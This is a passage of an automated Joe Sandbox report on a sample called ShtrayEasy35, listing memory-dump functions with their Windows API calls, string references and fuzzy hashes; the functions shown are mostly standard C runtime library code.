Opcode Fuzzy Hash: 5a6cd43de12e16fb7a45e77c021dc08ddb41336cd91f2fcee0730e7c8b75f73f
Instruction Fuzzy Hash: 0BD19A75D402489FCB06CFA8E890AEDBBF5FF49344F2841AAE856FB351D630A945CB50

Function 00E54BAC Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00E54C73
___AdjustPointer.LIBCMT ref: 00E54C96
___AdjustPointer.LIBCMT ref: 00E54D32

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 4c4667dd975916beb636a20e3c5fe7bde0f821d90105fb150177338206fe15ba
Instruction ID: b5eaac230754bd07536b09d103e37bf17a731a2936be937d8591d7081105e109
Opcode Fuzzy Hash: 4c4667dd975916beb636a20e3c5fe7bde0f821d90105fb150177338206fe15ba
Instruction Fuzzy Hash: 4051D1B66062029FEB298F10C841BAAB7B4FF8070AF24596DED05772D1D731A8D8C790

Function 00E41BC0 Relevance: 6.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

Part of subcall function 00E503F2: QueryPerformanceFrequency.KERNEL32(?,00000000,?,?,?,00E41BD3), ref: 00E5040D

Part of subcall function 00E503DB: QueryPerformanceCounter.KERNEL32(?,?,?,?,00E41BDE), ref: 00E503E4

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00E41C1C
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00E41C4F
__alldvrm.LIBCMT ref: 00E41C66
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00E41C8B

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$PerformanceQuery$CounterFrequency__alldvrm
String ID:
API String ID: 2057067329-0
Opcode ID: c78437fa0ce0c348357f84109700b184bb5eee433aaf31cddfa542c1e609bf83
Instruction ID: 1e44324a735311e0069d546c2e0599102c12aa28cc33588caa3e4a90ae65c5cf
Opcode Fuzzy Hash: c78437fa0ce0c348357f84109700b184bb5eee433aaf31cddfa542c1e609bf83
Instruction Fuzzy Hash: E321C3B1A01214BFEB14ABA94C86F7FBBECDBC5394F1045A8FA09F7202E5706D008664

Function 00E66BC0 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00E62FA1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00E64A6E,?,00000000,-00000008), ref: 00E63002

GetLastError.KERNEL32 ref: 00E66C24
__dosmaperr.LIBCMT ref: 00E66C2B
GetLastError.KERNEL32(?,?,?,?), ref: 00E66C65
__dosmaperr.LIBCMT ref: 00E66C6C

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 6dc1aef91832fab6655cad6b2649976bb61fe017b683b91277925ebf699b52df
Instruction ID: 92f2a9d1d0548b219031cebbb33ec997679ea4f5cc8473f44abae079f9e8d396
Opcode Fuzzy Hash: 6dc1aef91832fab6655cad6b2649976bb61fe017b683b91277925ebf699b52df
Instruction Fuzzy Hash: D921C871650A05AFDB209F66E88086BFBE8EF003E87109919F969B7111DB31EC458BA0

Function 00E58A98 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 632a1c43b610ea646aa372e743e5d8e207e9388a2278a3129c7ee889dc6156e1
Instruction ID: 33a0fb1927390b64c63ced447b1b6fc4cc51a55aeb9e5b11f97ad8bb157567c8
Opcode Fuzzy Hash: 632a1c43b610ea646aa372e743e5d8e207e9388a2278a3129c7ee889dc6156e1
Instruction Fuzzy Hash: 232150B5600205AF9B60AF61DE819ABB7ADAF01366710AD16FD19B7151EB30EC488760

Function 00E67B61 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00E67B69

Part of subcall function 00E62FA1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00E64A6E,?,00000000,-00000008), ref: 00E63002

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00E67BA1
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00E67BC1

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: e7774d0b4ba214e24a761d2f48a6e0be29753d85761c19eceb5b59019cc21edc
Instruction ID: 055b902eaf54adf2a57cff9ee7e2c7810a3947fff1174a68e4b4861a39790895
Opcode Fuzzy Hash: e7774d0b4ba214e24a761d2f48a6e0be29753d85761c19eceb5b59019cc21edc
Instruction Fuzzy Hash: DA1126F1549519BF6B1167727C89CBF39ADDE443EC7102428F98AF1201FE64CD4081B0

Function 00E4F851 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

GetFileInformationByHandleEx.KERNEL32(?,00000012,?,00000018,?,00000000,?,?,?,00E460E8,?,?,?,?,00000003,000000FF), ref: 00E4F86F
GetLastError.KERNEL32(?,00E460E8,?,?,?,?,00000003,000000FF,5847037D), ref: 00E4F87D
GetFileInformationByHandle.KERNEL32(?,?,?,00E460E8,?,?,?,?,00000003,000000FF,5847037D), ref: 00E4F892
GetLastError.KERNEL32(?,00E460E8,?,?,?,?,00000003,000000FF,5847037D), ref: 00E4F8BA

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: ErrorFileHandleInformationLast
String ID:
API String ID: 275135790-0
Opcode ID: bc76d2fac3afbcb0af666fb1f6be0e55c7d6f5427cedb02f339b7ba2ae61aeb7
Instruction ID: fb122164628ab50e0c069edf75246fb142572cebdb144f8042ac1bc0f9d059a7
Opcode Fuzzy Hash: bc76d2fac3afbcb0af666fb1f6be0e55c7d6f5427cedb02f339b7ba2ae61aeb7
Instruction Fuzzy Hash: CB012131A00604AFD724DF66D8459AEB7F4FF4DB10B50882EE54AE7250D730E945DB61

Function 00E4FADB Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,00000400,5847037D,00000000,00000000,00000000,00000000,00000000,?,?,?,00E442BC,?,?,00000000,00000000), ref: 00E4FAF8
GetLastError.KERNEL32(?,?,00E442BC,?,?,00000000,00000000,00000000,5847037D,?), ref: 00E4FB04
WideCharToMultiByte.KERNEL32(?,00000000,5847037D,00000000,00000000,00000000,00000000,00000000,?,?,00E442BC,?,?,00000000,00000000,00000000), ref: 00E4FB2A
GetLastError.KERNEL32(?,?,00E442BC,?,?,00000000,00000000,00000000,5847037D,?), ref: 00E4FB36

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: 1dc385ab4e0d91ef2923c55de61f98415ee74f245ae653f1013b9ff3c3c7e716
Instruction ID: 8e5e81b1b8e80ad845c0c5e8b036dd3d5158287fff371377211469fadeb75a5e
Opcode Fuzzy Hash: 1dc385ab4e0d91ef2923c55de61f98415ee74f245ae653f1013b9ff3c3c7e716
Instruction Fuzzy Hash: 2001C236601155BF8F224F56ED18D9B7E26FBDABA1F118424FF0565120C631CC66E7A0

Function 00E4F91E Relevance: 6.0, APIs: 4, Instructions: 37COMMON

Download Yara Rule

APIs

SetFileInformationByHandle.KERNEL32(00000003,00000015,?,00000004,-00000001,-00000001,?,00E50288), ref: 00E4F935
GetLastError.KERNEL32(?,00E50288), ref: 00E4F93F
SetFileInformationByHandle.KERNEL32(00000003,00000004,?,00000001,?,00E50288), ref: 00E4F96A
GetLastError.KERNEL32(?,00E50288), ref: 00E4F974

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: ErrorFileHandleInformationLast
String ID:
API String ID: 275135790-0
Opcode ID: 5d552f736a40efe3183794825d147d88a959866503de88981fc4dc820cb0f751
Instruction ID: 005d20c00ab4d43d43115abf41616a6e822197cc136403a80097d44c59085cbe
Opcode Fuzzy Hash: 5d552f736a40efe3183794825d147d88a959866503de88981fc4dc820cb0f751
Instruction Fuzzy Hash: 23F06271540204FEEB24AFB5EC5DB697AA89745B09F001128E706F01A0D3719A88D561

Function 00E6EDB9 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,00E6C88F,00000000,00000001,0000000C,00000000,?,00E619BE,00000000,00000000,00000000), ref: 00E6EDD0
GetLastError.KERNEL32(?,00E6C88F,00000000,00000001,0000000C,00000000,?,00E619BE,00000000,00000000,00000000,00000000,00000000,?,00E61F98,?), ref: 00E6EDDC

Part of subcall function 00E6EDA2: CloseHandle.KERNEL32(FFFFFFFE,00E6EDEC,?,00E6C88F,00000000,00000001,0000000C,00000000,?,00E619BE,00000000,00000000,00000000,00000000,00000000), ref: 00E6EDB2

___initconout.LIBCMT ref: 00E6EDEC

Part of subcall function 00E6ED64: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00E6ED93,00E6C87C,00000000,?,00E619BE,00000000,00000000,00000000,00000000), ref: 00E6ED77

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,00E6C88F,00000000,00000001,0000000C,00000000,?,00E619BE,00000000,00000000,00000000,00000000), ref: 00E6EE01

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 04a1c535c07da71b67aaa15d216544e9771b281d5b30062ce3aa6d1f9c0fa97d
Instruction ID: 9072b9281f37e83698cd8ff7256cc03f8f8f4458f4f2313faac7341b1ea28e68
Opcode Fuzzy Hash: 04a1c535c07da71b67aaa15d216544e9771b281d5b30062ce3aa6d1f9c0fa97d
Instruction Fuzzy Hash: 2EF01C3A440118BFCF225FA7EC089993F66FB483A4F044514FA0DA5270D6328864DB90

Function 00E524C5 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00E524D7
GetCurrentThreadId.KERNEL32 ref: 00E524E6
GetCurrentProcessId.KERNEL32 ref: 00E524EF
QueryPerformanceCounter.KERNEL32(?), ref: 00E524FC

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 269926fdc0a61e45986b9e43670a583b5562e54fd6efec9e2a6ed2099401f6aa
Instruction ID: 6d55e875be4d9663c13f46c4e1244176e05a7f2b2d06974c6a6083a432505b01
Opcode Fuzzy Hash: 269926fdc0a61e45986b9e43670a583b5562e54fd6efec9e2a6ed2099401f6aa
Instruction Fuzzy Hash: CCF06274D1120DEFCB00DBB5D94999EBBF4FF1C204B91859AA512F7110E730AB88DB50

Function 00E4F80B Relevance: 6.0, APIs: 4, Instructions: 24COMMON

Download Yara Rule

APIs

CreateSymbolicLinkW.KERNEL32(00000000,?,?,?,00E4FD62,00000000,?,00000000,?,00E45E34,?,00000007,00000000,00000007,?,00000000), ref: 00E4F81B
GetLastError.KERNEL32(?,00E4FD62,00000000,?,00000000,?,00E45E34,?,00000007,00000000,00000007,?,00000000,?,?,?), ref: 00E4F825
CreateSymbolicLinkW.KERNEL32(00000000,?,?,?,00E4FD62,00000000,?,00000000,?,00E45E34,?,00000007,00000000,00000007,?,00000000), ref: 00E4F839
GetLastError.KERNEL32(?,00E4FD62,00000000,?,00000000,?,00E45E34,?,00000007,00000000,00000007,?,00000000,?,?,?), ref: 00E4F843

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: CreateErrorLastLinkSymbolic
String ID:
API String ID: 191780330-0
Opcode ID: 754a1feb97436c8917b8f467775af58a83c2ef2b7f017961e34f36431cca784a
Instruction ID: a4c4945e05a644b57a3c93607b56ba4f160b9c831b91cc01f4f96e06fac50478
Opcode Fuzzy Hash: 754a1feb97436c8917b8f467775af58a83c2ef2b7f017961e34f36431cca784a
Instruction Fuzzy Hash: 45E0ED31010108EFDF059F92EC059993B65FF15B14B40C424FA19B6021D73188A59A60

Function 00E4A280 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 157COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00E4A40F

Part of subcall function 00E52C70: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,?,00E80094,?,00E5061C,?,00E7C07C,?), ref: 00E52CD1

Strings

ios_base::badbit set, xrefs: 00E4A3A7, 00E4A3D2, 00E4A3F3
ios_base::failbit set, xrefs: 00E4A2A8

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::failbit set
API String ID: 3109751735-1240500531
Opcode ID: 6df14d4f017c8dd34e4e6ecb07c7e908f6d800443c1a13bd963fa3f97668fc46
Instruction ID: 9ac6022fbccb39fbd367121712de99034a35c5b7c1e32548a97891a1bcbd6ba0
Opcode Fuzzy Hash: 6df14d4f017c8dd34e4e6ecb07c7e908f6d800443c1a13bd963fa3f97668fc46
Instruction Fuzzy Hash: 2251B5B1910204ABCB14DF68D841BAEF7F8EF45320F18962EF915A7681E771A944CBA1

Function 00E636B6 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132fileCOMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00E63706
ReadFile.KERNEL32(?,?,00001000,?,00000000,00E63443,00000001,00000000,?,00000000,?,?,00000000,?,?,00E638D2), ref: 00E6378C

Strings

C4, xrefs: 00E636CF

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: FileReadUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: C4
API String ID: 1834446548-3523956905
Opcode ID: eb7b6e559ecc3d038a4f8892ac14af785634780c29f77942e01a456b9d862ce7
Instruction ID: ead7a65ddf146f0ace12672457a4fc13f3e98354d63bde63853cbc9e69699bc4
Opcode Fuzzy Hash: eb7b6e559ecc3d038a4f8892ac14af785634780c29f77942e01a456b9d862ce7
Instruction Fuzzy Hash: 0041EF71A40198AFDB24CF64DC81BE9B3B5FF48344F1090A9F549A7282D675EEC58F90

Function 00E693C4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00E60082: HeapFree.KERNEL32(00000000,00000000,?,00E68DC6,?,00000000,?,?,00E69067,?,00000007,?,?,00E6955B,?,?), ref: 00E60098
Part of subcall function 00E60082: GetLastError.KERNEL32(?,?,00E68DC6,?,00000000,?,?,00E69067,?,00000007,?,?,00E6955B,?,?), ref: 00E600A3

___free_lconv_mon.LIBCMT ref: 00E69408

Strings

, xrefs: 00E693DA
H, xrefs: 00E694B0

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: ErrorFreeHeapLast___free_lconv_mon
String ID: $H
API String ID: 4068849827-4200796640
Opcode ID: e499b5f15da8cfe0408d066c0fe6b0f66ed1c2353d82b345463d6b13f1b941c9
Instruction ID: f3ac1a2523181b9e6620c7212ecfb287a9a3f435423ab395ba469fca3c1ba0a8
Opcode Fuzzy Hash: e499b5f15da8cfe0408d066c0fe6b0f66ed1c2353d82b345463d6b13f1b941c9
Instruction Fuzzy Hash: 7F313D316802019FEB31AA39F885B5A73E9FF003A8F14A969E469F7152DF71ED418710

Function 00E551A7 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00E551CC

Strings

MOC, xrefs: 00E551DE
RCC, xrefs: 00E551E6

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 5b14ca28bdb498198edeea2009c4e5db7a7a30bf2e118754b8af3f6f6b2493da
Instruction ID: 20a27289cd9e6ee446e8bd36429ebe2683addebd980e4b138970113eda86f9cd
Opcode Fuzzy Hash: 5b14ca28bdb498198edeea2009c4e5db7a7a30bf2e118754b8af3f6f6b2493da
Instruction Fuzzy Hash: 06418776900608AFCF15CF94CC81AEEBBB5FF48309F185458FE0476221D3359955CB50

Function 00E50EED Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83threadCOMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00E50F0E
GetCurrentThreadId.KERNEL32 ref: 00E50F3F

Strings

X, xrefs: 00E50F44

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: Cpp_errorCurrentThreadThrow_std::_
String ID: X
API String ID: 350343453-1677210272
Opcode ID: 8711b9b4634f6412bbbe7fdbadf99a3259b1e89dd5bb37c11403261501d36078
Instruction ID: 3282feb2652ac7fa9adac74657ad2b5878a718547c658c78cd3d1a9cd976fb5a
Opcode Fuzzy Hash: 8711b9b4634f6412bbbe7fdbadf99a3259b1e89dd5bb37c11403261501d36078
Instruction Fuzzy Hash: AF2137317007019BDB249B14D852BAAB3E5FF4431AF106D7DFD2AB7280DBB1AC0886A0

Function 00E4FCE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,00000000,00000000,?,?,?,?,00E45F30,?,?,?,00000000,00004002), ref: 00E4FCED
GetLastError.KERNEL32(00000000,?,?,?,?,00E45F30,?,?,?,00000000,00004002), ref: 00E4FD00

Strings

0_, xrefs: 00E4FD27

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: 0_
API String ID: 1375471231-2153691828
Opcode ID: 101b4ce7c81ce0858172f95d064368ee4fc1350068a97d9028c0077eb9891247
Instruction ID: f60fc1c5c7f6ea27d7664a2701aa80053b2dba41a85ad1e69c30e4de2be150b7
Opcode Fuzzy Hash: 101b4ce7c81ce0858172f95d064368ee4fc1350068a97d9028c0077eb9891247
Instruction Fuzzy Hash: C2F0B430F4410DAFDF119E68DC81BDE7AE9DB64768F208535EA04B2294DB70DD86C7A1

Function 00E51212 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(p,?,00E50B40,00E50B86,?,00E509CE,00000000,00000000,00000000,00000004,00E4E570,00000001), ref: 00E51225
IsProcessorFeaturePresent.KERNEL32(00000017,00E55EF2,?,00E55E61,?,00000016,00E56070,?,?,?,?,?,00000000,?,?,?), ref: 00E5ADC5

Strings

p, xrefs: 00E51222

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

